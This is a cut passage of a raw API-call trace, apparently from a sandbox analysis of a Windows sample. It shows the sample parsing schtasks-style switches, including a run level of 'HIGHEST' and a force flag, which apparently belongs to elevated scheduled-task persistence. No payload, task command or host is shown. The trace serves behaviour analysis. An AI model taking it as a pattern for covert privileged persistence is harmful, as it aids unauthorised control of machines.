_vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|m|") returned 3 [0152.398] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.398] lstrlenW (lpString="|m|") returned 3 [0152.398] lstrlenW (lpString="|rl|") returned 4 [0152.398] SetLastError (dwErrCode=0x490) [0152.398] lstrlenW (lpString="i") returned 1 [0152.398] lstrlenW (lpString="i") returned 1 [0152.398] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.398] lstrlenW (lpString="rl") returned 2 [0152.398] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.398] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|i|") returned 3 [0152.398] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.398] lstrlenW (lpString="|i|") returned 3 [0152.398] lstrlenW (lpString="|rl|") returned 4 [0152.398] SetLastError (dwErrCode=0x490) [0152.398] lstrlenW (lpString="tn") returned 2 [0152.398] lstrlenW (lpString="tn") returned 2 [0152.398] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.399] lstrlenW (lpString="rl") returned 2 [0152.399] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.399] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.399] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.399] lstrlenW (lpString="|tn|") returned 4 [0152.399] lstrlenW (lpString="|rl|") returned 4 [0152.399] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0152.399] SetLastError (dwErrCode=0x490) [0152.399] lstrlenW (lpString="tr") returned 2 [0152.399] lstrlenW (lpString="tr") returned 2 [0152.399] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.399] lstrlenW (lpString="rl") returned 2 [0152.399] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.399] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.399] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.399] lstrlenW (lpString="|tr|") returned 4 [0152.399] lstrlenW (lpString="|rl|") returned 4 [0152.399] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0152.399] SetLastError (dwErrCode=0x490) [0152.399] lstrlenW (lpString="st") returned 2 [0152.399] lstrlenW (lpString="st") returned 2 [0152.399] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.399] lstrlenW (lpString="rl") returned 2 [0152.399] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.399] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|st|") returned 4 [0152.399] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.399] lstrlenW (lpString="|st|") returned 4 [0152.399] lstrlenW (lpString="|rl|") returned 4 [0152.399] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0152.399] SetLastError (dwErrCode=0x490) [0152.399] lstrlenW (lpString="sd") returned 2 [0152.399] lstrlenW (lpString="sd") returned 2 [0152.399] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.400] lstrlenW (lpString="rl") returned 2 [0152.400] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.400] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sd|") returned 4 [0152.400] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.400] lstrlenW (lpString="|sd|") returned 4 [0152.400] lstrlenW (lpString="|rl|") returned 4 [0152.400] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0152.400] SetLastError (dwErrCode=0x490) [0152.400] lstrlenW (lpString="ed") returned 2 [0152.400] lstrlenW (lpString="ed") returned 2 [0152.400] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.400] lstrlenW (lpString="rl") returned 2 [0152.400] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.400] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ed|") returned 4 [0152.400] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.400] lstrlenW (lpString="|ed|") returned 4 [0152.400] lstrlenW (lpString="|rl|") returned 4 [0152.400] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0152.400] SetLastError (dwErrCode=0x490) [0152.400] lstrlenW (lpString="it") returned 2 [0152.400] lstrlenW (lpString="it") returned 2 [0152.400] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.400] lstrlenW (lpString="rl") returned 2 [0152.400] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.400] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|it|") returned 4 [0152.400] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.400] lstrlenW (lpString="|it|") returned 4 [0152.400] lstrlenW (lpString="|rl|") returned 4 [0152.400] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0152.400] SetLastError (dwErrCode=0x490) [0152.400] lstrlenW (lpString="et") returned 2 [0152.400] lstrlenW (lpString="et") returned 2 [0152.401] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.401] lstrlenW (lpString="rl") returned 2 [0152.401] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.401] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|et|") returned 4 [0152.401] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.401] lstrlenW (lpString="|et|") returned 4 [0152.401] lstrlenW (lpString="|rl|") returned 4 [0152.401] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0152.401] SetLastError (dwErrCode=0x490) [0152.401] lstrlenW (lpString="k") returned 1 [0152.401] lstrlenW (lpString="k") returned 1 [0152.401] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.401] lstrlenW (lpString="rl") returned 2 [0152.401] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.401] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|k|") returned 3 [0152.401] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.401] lstrlenW (lpString="|k|") returned 3 [0152.401] lstrlenW (lpString="|rl|") returned 4 [0152.401] SetLastError (dwErrCode=0x490) [0152.401] lstrlenW (lpString="du") returned 2 [0152.401] lstrlenW (lpString="du") returned 2 [0152.401] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.401] lstrlenW (lpString="rl") returned 2 [0152.401] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.401] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|du|") returned 4 [0152.401] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.401] lstrlenW (lpString="|du|") returned 4 [0152.401] lstrlenW (lpString="|rl|") returned 4 [0152.401] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0152.401] SetLastError (dwErrCode=0x490) [0152.401] lstrlenW (lpString="ri") returned 2 [0152.401] lstrlenW (lpString="ri") returned 2 [0152.401] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.402] lstrlenW (lpString="rl") returned 2 [0152.402] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.402] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ri|") returned 4 [0152.402] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.402] lstrlenW (lpString="|ri|") returned 4 [0152.402] lstrlenW (lpString="|rl|") returned 4 [0152.402] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0152.402] SetLastError (dwErrCode=0x490) [0152.402] lstrlenW (lpString="z") returned 1 [0152.402] lstrlenW (lpString="z") returned 1 [0152.402] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.402] lstrlenW (lpString="rl") returned 2 [0152.402] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.402] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|z|") returned 3 [0152.402] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.402] lstrlenW (lpString="|z|") returned 3 [0152.402] lstrlenW (lpString="|rl|") returned 4 [0152.402] SetLastError (dwErrCode=0x490) [0152.402] lstrlenW (lpString="f") returned 1 [0152.402] lstrlenW (lpString="f") returned 1 [0152.402] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.402] lstrlenW (lpString="rl") returned 2 [0152.402] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.402] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.402] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.402] lstrlenW (lpString="|f|") returned 3 [0152.402] lstrlenW (lpString="|rl|") returned 4 [0152.403] SetLastError (dwErrCode=0x490) [0152.403] lstrlenW (lpString="v1") returned 2 [0152.403] lstrlenW (lpString="v1") returned 2 [0152.403] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.403] lstrlenW (lpString="rl") returned 2 [0152.403] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.403] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|v1|") returned 4 [0152.403] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.403] lstrlenW (lpString="|v1|") returned 4 [0152.403] lstrlenW (lpString="|rl|") returned 4 [0152.403] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0152.403] SetLastError (dwErrCode=0x490) [0152.403] lstrlenW (lpString="xml") returned 3 [0152.403] lstrlenW (lpString="xml") returned 3 [0152.403] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.403] lstrlenW (lpString="rl") returned 2 [0152.403] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.403] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|xml|") returned 5 [0152.403] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.403] lstrlenW (lpString="|xml|") returned 5 [0152.403] lstrlenW (lpString="|rl|") returned 4 [0152.403] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0152.403] SetLastError (dwErrCode=0x490) [0152.403] lstrlenW (lpString="ec") returned 2 [0152.403] lstrlenW (lpString="ec") returned 2 [0152.403] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.404] lstrlenW (lpString="rl") returned 2 [0152.404] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.404] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ec|") returned 4 [0152.404] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.404] lstrlenW (lpString="|ec|") returned 4 [0152.404] lstrlenW (lpString="|rl|") returned 4 [0152.404] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0152.404] SetLastError (dwErrCode=0x490) [0152.404] lstrlenW (lpString="rl") returned 2 [0152.404] lstrlenW (lpString="rl") returned 2 [0152.404] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.404] lstrlenW (lpString="rl") returned 2 [0152.404] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.415] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.415] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rl|") returned 4 [0152.415] lstrlenW (lpString="|rl|") returned 4 [0152.415] lstrlenW (lpString="|rl|") returned 4 [0152.415] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0152.415] SetLastError (dwErrCode=0x0) [0152.415] SetLastError (dwErrCode=0x0) [0152.415] lstrlenW (lpString="HIGHEST") returned 7 [0152.416] lstrlenW (lpString="-/") returned 2 [0152.416] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0152.416] SetLastError (dwErrCode=0x490) [0152.416] SetLastError (dwErrCode=0x490) [0152.416] SetLastError (dwErrCode=0x0) [0152.416] lstrlenW (lpString="HIGHEST") returned 7 [0152.416] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0152.416] SetLastError (dwErrCode=0x490) [0152.416] SetLastError (dwErrCode=0x0) [0152.416] _memicmp (_Buf1=0x19d4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.416] lstrlenW (lpString="HIGHEST") returned 7 [0152.416] lstrlenW (lpString="HIGHEST") returned 7 [0152.416] lstrlenW (lpString=" \x09") returned 2 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0152.416] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0152.416] GetLastError () returned 0x0 [0152.416] lstrlenW (lpString="HIGHEST") returned 7 [0152.416] lstrlenW (lpString="HIGHEST") returned 7 [0152.416] SetLastError (dwErrCode=0x0) [0152.416] SetLastError (dwErrCode=0x0) [0152.416] lstrlenW (lpString="/f") returned 2 [0152.416] lstrlenW (lpString="-/") returned 2 [0152.416] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0152.416] lstrlenW (lpString="create") returned 6 [0152.416] lstrlenW (lpString="create") returned 6 [0152.416] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.417] lstrlenW (lpString="f") returned 1 [0152.417] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.417] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|create|") returned 8 [0152.417] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.417] lstrlenW (lpString="|create|") returned 8 [0152.417] lstrlenW (lpString="|f|") returned 3 [0152.417] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0152.417] SetLastError (dwErrCode=0x490) [0152.417] lstrlenW (lpString="?") returned 1 [0152.417] lstrlenW (lpString="?") returned 1 [0152.417] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.417] lstrlenW (lpString="f") returned 1 [0152.417] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.417] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|?|") returned 3 [0152.417] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.417] lstrlenW (lpString="|?|") returned 3 [0152.417] lstrlenW (lpString="|f|") returned 3 [0152.417] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0152.417] SetLastError (dwErrCode=0x490) [0152.417] lstrlenW (lpString="s") returned 1 [0152.417] lstrlenW (lpString="s") returned 1 [0152.417] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.417] lstrlenW (lpString="f") returned 1 [0152.417] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.417] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|s|") returned 3 [0152.417] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.417] lstrlenW (lpString="|s|") returned 3 [0152.417] lstrlenW (lpString="|f|") returned 3 [0152.417] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0152.417] SetLastError (dwErrCode=0x490) [0152.417] lstrlenW (lpString="u") returned 1 [0152.417] lstrlenW (lpString="u") returned 1 [0152.417] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.417] lstrlenW (lpString="f") returned 1 [0152.418] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.418] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|u|") returned 3 [0152.418] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.418] lstrlenW (lpString="|u|") returned 3 [0152.418] lstrlenW (lpString="|f|") returned 3 [0152.418] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0152.418] SetLastError (dwErrCode=0x490) [0152.418] lstrlenW (lpString="p") returned 1 [0152.418] lstrlenW (lpString="p") returned 1 [0152.418] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.418] lstrlenW (lpString="f") returned 1 [0152.418] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.418] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|p|") returned 3 [0152.418] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.418] lstrlenW (lpString="|p|") returned 3 [0152.418] lstrlenW (lpString="|f|") returned 3 [0152.418] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0152.418] SetLastError (dwErrCode=0x490) [0152.418] lstrlenW (lpString="ru") returned 2 [0152.418] lstrlenW (lpString="ru") returned 2 [0152.418] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.418] lstrlenW (lpString="f") returned 1 [0152.418] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.418] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|ru|") returned 4 [0152.418] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.418] lstrlenW (lpString="|ru|") returned 4 [0152.418] lstrlenW (lpString="|f|") returned 3 [0152.418] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0152.418] SetLastError (dwErrCode=0x490) [0152.418] lstrlenW (lpString="rp") returned 2 [0152.418] lstrlenW (lpString="rp") returned 2 [0152.418] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.418] lstrlenW (lpString="f") returned 1 [0152.419] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.419] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|rp|") returned 4 [0152.419] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.419] lstrlenW (lpString="|rp|") returned 4 [0152.419] lstrlenW (lpString="|f|") returned 3 [0152.419] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0152.419] SetLastError (dwErrCode=0x490) [0152.419] lstrlenW (lpString="sc") returned 2 [0152.419] lstrlenW (lpString="sc") returned 2 [0152.419] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.419] lstrlenW (lpString="f") returned 1 [0152.419] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.419] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|sc|") returned 4 [0152.419] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.419] lstrlenW (lpString="|sc|") returned 4 [0152.419] lstrlenW (lpString="|f|") returned 3 [0152.419] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0152.419] SetLastError (dwErrCode=0x490) [0152.419] lstrlenW (lpString="mo") returned 2 [0152.419] lstrlenW (lpString="mo") returned 2 [0152.419] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.419] lstrlenW (lpString="f") returned 1 [0152.419] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.419] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|mo|") returned 4 [0152.419] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.419] lstrlenW (lpString="|mo|") returned 4 [0152.419] lstrlenW (lpString="|f|") returned 3 [0152.419] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0152.419] SetLastError (dwErrCode=0x490) [0152.419] lstrlenW (lpString="d") returned 1 [0152.419] lstrlenW (lpString="d") returned 1 [0152.419] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.419] lstrlenW (lpString="f") returned 1 [0152.420] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.420] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|d|") returned 3 [0152.420] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.420] lstrlenW (lpString="|d|") returned 3 [0152.420] lstrlenW (lpString="|f|") returned 3 [0152.420] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0152.420] SetLastError (dwErrCode=0x490) [0152.420] lstrlenW (lpString="m") returned 1 [0152.420] lstrlenW (lpString="m") returned 1 [0152.420] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.420] lstrlenW (lpString="f") returned 1 [0152.420] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.420] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|m|") returned 3 [0152.420] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.420] lstrlenW (lpString="|m|") returned 3 [0152.420] lstrlenW (lpString="|f|") returned 3 [0152.420] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0152.420] SetLastError (dwErrCode=0x490) [0152.420] lstrlenW (lpString="i") returned 1 [0152.420] lstrlenW (lpString="i") returned 1 [0152.420] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.420] lstrlenW (lpString="f") returned 1 [0152.420] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.420] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|i|") returned 3 [0152.420] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.420] lstrlenW (lpString="|i|") returned 3 [0152.421] lstrlenW (lpString="|f|") returned 3 [0152.421] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0152.421] SetLastError (dwErrCode=0x490) [0152.421] lstrlenW (lpString="tn") returned 2 [0152.421] lstrlenW (lpString="tn") returned 2 [0152.421] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.421] lstrlenW (lpString="f") returned 1 [0152.421] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.421] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tn|") returned 4 [0152.421] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|f|") returned 3 [0152.421] lstrlenW (lpString="|tn|") returned 4 [0152.421] lstrlenW (lpString="|f|") returned 3 [0152.421] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0152.421] SetLastError (dwErrCode=0x490) [0152.421] lstrlenW (lpString="tr") returned 2 [0152.421] lstrlenW (lpString="tr") returned 2 [0152.421] _memicmp (_Buf1=0x19c1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.421] lstrlenW (lpString="f") returned 1 [0152.421] _memicmp (_Buf1=0x19c1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0152.421] _vsnwprintf (in: _Buffer=0x19c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c108 | out: _Buffer="|tr|") returned 4 [0152.421] _vsnwprintf (in: _Buffer=0x19c200, _BufferCount=0x4, _Format="|%s|", 